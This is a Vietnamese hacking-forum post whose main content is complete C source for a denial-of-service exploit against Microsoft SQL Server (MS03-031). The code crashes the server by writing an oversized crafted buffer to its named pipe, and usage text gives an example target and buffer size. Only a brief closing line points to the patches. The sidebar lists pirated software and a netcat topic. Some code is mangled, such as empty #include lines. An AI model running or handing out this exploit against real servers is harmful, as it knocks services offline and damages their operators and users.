Search
 
 

Display results as :
 


Rechercher Advanced Search

Latest topics
» NewBlueFx TotalFX Windows-FL | 1.11 GB
Tue Dec 17, 2013 12:42 pm by titquarra

» NewBlueFx TotalFX Windows-FL | 1.11 GB
Tue Dec 17, 2013 12:42 pm by titquarra

» Celebrity.Sex.Tape.UNCUT.&.UNRATED.2012.720p.BRrip.x264.YIFY.mp4
Tue Dec 17, 2013 8:32 am by titquarra

» Maya Autodesk Personal Learning Edition 8.5
Tue Dec 17, 2013 7:47 am by titquarra

» Tuyệt Kỹ Đong Giai Chân Kinh (tuyệt Kỹ cua trai)
Thu Aug 23, 2012 5:38 am by Admin

» Tuyệt kỹ cua giai
Thu Aug 23, 2012 5:36 am by Admin

» NETCAT.........
Mon Aug 13, 2012 6:35 am by Admin

» Bảo mật CSDL bằng phương pháp mã hóa.
Tue Apr 17, 2012 10:04 pm by Admin

» Hàm mã hóa MD5 bằng JavaScript
Tue Apr 17, 2012 10:03 pm by Admin

Shopmotion


Affiliates
free forum


Code làm tê liệt các máy chủ dùng MSSQL Server

View previous topic View next topic Go down

Code làm tê liệt các máy chủ dùng MSSQL Server

Post  Admin on Wed Mar 28, 2012 11:34 pm


////////////////////////////////////////////////////////////////////////////////
//
// exp for Microsoft SQL Server DoS(MS03-031)
//
// By : refdom
// Email : refdom@xfocus.org
// Home Page : http://www.xfocus.org
// http://www.xfocus.org/exploits/200307/expMS0331.cpp
////////////////////////////////////////////////////////////////////////////////

#include
#include
#include


void Usage()
{
printf("******************************************\n");
printf("exp for Microsoft SQL Server DoS(MS03-031)\n\n");
printf("\t Written by Refdom\n");
printf("\t Email: refdom@xfocus.org\n");
printf("\t Homepage: www.xfocus.org\n\n");
printf("Usage: DOSMSSQL.exe server buffersize\n");
printf("eg: DOSMSSQL.exe192.168.0.1 9000\n\n");
printf("The buffersize depends on service pack level.\n");
printf("I test it on my server: windows 2000, mssqlserver no sp.\n");
printf("when buffersize is 9000, the server can be crashed.\n");
printf("\n");
printf("*******************************************\n\n");
}


int main(int argc, char* argv[])
{
char lpPipeName[50];
char *lpBuffer = NULL;
unsigned long ulSize = 0;

BOOL bResult;
DWORD dwWritten = 0, dwMode;
HANDLE hPipe;

Usage();

printf("Starting...\n");

if (argc != 3)
goto Exit0;

if (strlen(argv[1]) < 20)
{
sprintf(lpPipeName, "\\\\%s\\\\.\\pipe\\sql\\query", argv[1]);
}
else
{
printf("Error!server\n");
goto Exit0;
}

ulSize= atol(argv[2]);

lpBuffer = (char*)malloc(ulSize + 2);
if (NULL == lpBuffer)
{
printf("malloc error!\n");
goto Exit0;
}

memset(lpBuffer, 0, ulSize + 2);
memset(lpBuffer, 'A', ulSize);
*lpBuffer = '\x12';
*(lpBuffer + 1) = '\x01';
*(lpBuffer + 2) = '\x00';

printf("Connecting Server...\n");

hPipe = CreateFile(lpPipeName,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL);
if (INVALID_HANDLE_VALUE == hPipe)
{
printf("Error!Connect server!%d\n", GetLastError());
goto Exit0;
}

dwMode = PIPE_READMODE_MESSAGE;
bResult = SetNamedPipeHandleState(
hPipe, // pipe handle
&dwMode, // new pipe mode
NULL, // don't set maximum bytes
NULL); // don't set maximum time
if (!bResult)
{
printf("Error!SetNamedPipeHandleState.%d\n", GetLastError());
goto Exit0;
}

bResult = WriteFile(hPipe, lpBuffer, ulSize + 1, &dwWritten, NULL);

if (!bResult)
{
printf("\n\tError!WriteFile.%d\n\n", GetLastError());
printf("When see the error message, the target may be crashed!!\n\n");
goto Exit0;
}

Exit0:

return 0;
}


fix lỗi và download patch tại :
1/Microsoft SQL Server 7.0
2.Microsoft SQL 2000 32-bit Edition
3.Microsoft SQL 2000 64-bit Edition

Admin
Admin

Tổng số bài gửi : 782
Join date : 2009-08-15

View user profile http://hackis.forumotion.com

Back to top Go down

View previous topic View next topic Back to top

- Similar topics

 
Permissions in this forum:
You cannot reply to topics in this forum